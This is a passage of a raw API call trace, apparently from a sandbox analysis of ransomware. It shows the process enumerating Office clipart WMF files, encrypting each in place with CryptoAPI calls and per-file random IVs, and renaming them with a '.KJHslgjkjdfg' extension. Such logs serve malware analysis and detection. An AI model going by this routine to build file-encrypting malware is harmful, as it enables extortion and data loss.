[0193.526] GetProcessHeap () returned 0x2ef0000 [0193.526] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.526] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.526] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.526] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.526] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.526] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.526] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.526] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.526] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.527] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.527] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.527] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.527] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2244, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2244, lpOverlapped=0x0) returned 1 [0193.528] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2250, dwBufLen=0x2250 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2250) returned 1 [0193.528] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.528] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2250, lpOverlapped=0x0) returned 1 [0193.528] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.528] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2324, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.528] SetEndOfFile (hFile=0x130) returned 1 [0193.531] GetProcessHeap () returned 0x2ef0000 [0193.531] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.531] GetProcessHeap () returned 0x2ef0000 [0193.531] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.531] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.kjhslgjkjdfg")) returned 1 [0193.535] CloseHandle (hObject=0x130) returned 1 [0193.535] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe58e2200, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe58e2200, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x3896, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD19986_.WMF", cAlternateFileName="")) returned 1 [0193.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.537] GetProcessHeap () returned 0x2ef0000 [0193.537] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.537] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.537] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.537] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0193.539] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.539] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.539] GetProcessHeap () returned 0x2ef0000 [0193.539] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.539] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.539] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.539] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.539] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.540] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.540] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.540] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.540] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.540] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.540] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.540] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.540] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3896, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3896, lpOverlapped=0x0) returned 1 [0193.541] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x38a0, dwBufLen=0x38a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x38a0) returned 1 [0193.541] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.541] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x38a0, lpOverlapped=0x0) returned 1 [0193.541] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.541] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3974, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.541] SetEndOfFile (hFile=0x130) returned 1 [0193.544] GetProcessHeap () returned 0x2ef0000 [0193.544] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.544] GetProcessHeap () returned 0x2ef0000 [0193.544] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.544] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.kjhslgjkjdfg")) returned 1 [0193.547] CloseHandle (hObject=0x130) returned 1 [0193.547] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1fa9b00, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1fa9b00, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x4780, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD19988_.WMF", cAlternateFileName="")) returned 1 [0193.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.547] GetProcessHeap () returned 0x2ef0000 [0193.547] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.547] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.547] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.547] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.547] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.547] GetProcessHeap () returned 0x2ef0000 [0193.547] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.548] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.548] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.548] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.549] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.549] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.549] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.549] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.549] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.549] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.549] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.550] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.550] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4780, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4780, lpOverlapped=0x0) returned 1 [0193.550] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4780, dwBufLen=0x4780 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4780) returned 1 [0193.551] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.551] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4780, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4780, lpOverlapped=0x0) returned 1 [0193.551] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.551] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.551] SetEndOfFile (hFile=0x130) returned 1 [0193.552] GetProcessHeap () returned 0x2ef0000 [0193.552] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.552] GetProcessHeap () returned 0x2ef0000 [0193.553] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.553] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.kjhslgjkjdfg")) returned 1 [0193.559] CloseHandle (hObject=0x130) returned 1 [0193.559] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf688200, ftCreationTime.dwHighDateTime=0x1bd4d58, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbf688200, ftLastWriteTime.dwHighDateTime=0x1bd4d58, nFileSizeHigh=0x0, nFileSizeLow=0x2b32, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD20013_.WMF", cAlternateFileName="")) returned 1 [0193.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.560] GetProcessHeap () returned 0x2ef0000 [0193.560] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.560] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.560] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.560] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0193.562] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.562] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.562] GetProcessHeap () returned 0x2ef0000 [0193.562] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.562] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.562] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.562] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.562] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.562] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.562] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.563] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.563] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.563] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.563] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.563] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.563] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2b32, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2b32, lpOverlapped=0x0) returned 1 [0193.564] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2b40, dwBufLen=0x2b40 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2b40) returned 1 [0193.564] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.564] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2b40, lpOverlapped=0x0) returned 1 [0193.564] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.564] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2c14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.565] SetEndOfFile (hFile=0x130) returned 1 [0193.567] GetProcessHeap () returned 0x2ef0000 [0193.567] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.567] GetProcessHeap () returned 0x2ef0000 [0193.567] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.567] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD20013_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd20013_.wmf.kjhslgjkjdfg")) returned 1 [0193.570] CloseHandle (hObject=0x130) returned 1 [0193.570] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b147c00, ftCreationTime.dwHighDateTime=0x1bd4b34, ftLastAccessTime.dwLowDateTime=0x519c9550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b147c00, ftLastWriteTime.dwHighDateTime=0x1bd4b34, nFileSizeHigh=0x0, nFileSizeLow=0x30e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BL00008_.WMF", cAlternateFileName="")) returned 1 [0193.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.571] GetProcessHeap () returned 0x2ef0000 [0193.571] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.571] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.571] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.572] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.573] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.573] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.573] GetProcessHeap () returned 0x2ef0000 [0193.573] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.573] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.574] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.574] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.574] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.574] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.574] 